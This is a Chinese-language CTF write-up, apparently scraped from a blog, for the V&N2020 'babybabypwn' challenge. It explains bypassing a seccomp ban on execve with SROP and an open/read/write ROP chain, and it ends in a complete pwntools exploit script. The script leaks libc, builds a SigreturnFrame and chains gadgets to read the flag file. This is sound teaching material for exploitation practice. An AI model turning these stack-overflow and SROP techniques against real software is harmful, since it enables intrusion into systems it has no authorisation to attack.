[V&N2020 公开赛]babybabypwn (SROP和orw)

本题使用了SROP和orw来获得flag
[V&N2020 公开赛]babybabypwn (SROP和orw)
文章图片

第一个函数是缓冲区,第二个函数是沙盒,第三个函数是漏洞所在
[V&N2020 公开赛]babybabypwn (SROP和orw)
文章图片

沙盒把59禁了,那就是exceve不能用了
[V&N2020 公开赛]babybabypwn (SROP和orw)
文章图片

这里syscall的参数是15,那就是SigreturnFrame,那我们就用SROP
SROP可以使用pwntool自带的工具
[V&N2020 公开赛]babybabypwn (SROP和orw)
文章图片

SROP的使用条件:

需要注意的是,我们在构造ROP攻击的时候,需要满足下面的条件
【[V&N2020 公开赛]babybabypwn (SROP和orw)】可以通过栈溢出来控制栈的内容
需要知道相应的地址
“/bin/sh”
Signal Frame
syscal
sigreturn
需要有够大的空间来塞下整个sigal frame
srop的大小是0xf8
本题可以输入0x108 (0x110-0x8)
[V&N2020 公开赛]babybabypwn (SROP和orw)
文章图片

所以空间足够
这是一般的使用方法
本题用orw了,所以方法不太一样
这道题目本身开启了PIE,所以都在libc里操作
讲一下怎么确定flag写在哪里:
把se之前的debug开起来,运行
n到下不去为止
[V&N2020 公开赛]babybabypwn (SROP和orw)
文章图片

[V&N2020 公开赛]babybabypwn (SROP和orw)
文章图片

相减就是152
exp:
from pwn import * from LibcSearcher import *local_file= './vn_pwn_babybabypwn_1' local_libc= '/root/glibc-all-in-one/libs/2.23/libc-2.23.so' remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so' select = 1if select == 0: r = process(local_file) libc = ELF(local_libc) else: r = remote('node3.buuoj.cn', 26320) libc = ELF(remote_libc)elf = ELF(local_file)context.log_level = 'debug' context.arch = elf.archse= lambda data:r.send(data) sa= lambda delim,data:r.sendafter(delim, data) sl= lambda data:r.sendline(data) sla= lambda delim,data:r.sendlineafter(delim, data) sea= lambda delim,data:r.sendafter(delim, data) rc= lambda numb=4096:r.recv(numb) rl= lambda:r.recvline() ru= lambda delims:r.recvuntil(delims) uu32= lambda data:u32(data.ljust(4, '\0')) uu64= lambda data:u64(data.ljust(8, '\0')) info_addr = lambda tag, addr:r.info(tag + ': {:#x}'.format(addr))def debug(cmd=''): gdb.attach(r,cmd)ru(': ') puts = int(rc(14), 16) info_addr('puts', puts) libc = LibcSearcher('puts', puts) libcbase = puts - libc.dump('puts') open_addr = libcbase + libc.dump('open') read = libcbase + libc.dump('read') write = libcbase + libc.dump('write') bss = libcbase + 0x00000000003c5720 + 0x400 pop_rdi = libcbase + 0x0000000000021102 # pop rdi ; ret pop_rsi = libcbase + 0x00000000000202e8 # pop rsi ; ret pop_rdx = libcbase + 0x0000000000001b92 # pop rdx ; ret info_addr('bss', bss)frame = SigreturnFrame() frame.rdi = 0 frame.rsi = bss frame.rdx = 0x100 frame.rip = read frame.rsp = bss sea('Please input magic message:', str(frame)[8:]) flag_addr = bss + 152 p = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) p += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read) p += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write) p += 'flag\x00\x00\x00\x00' #debug() se(p)r.interactive()

    推荐阅读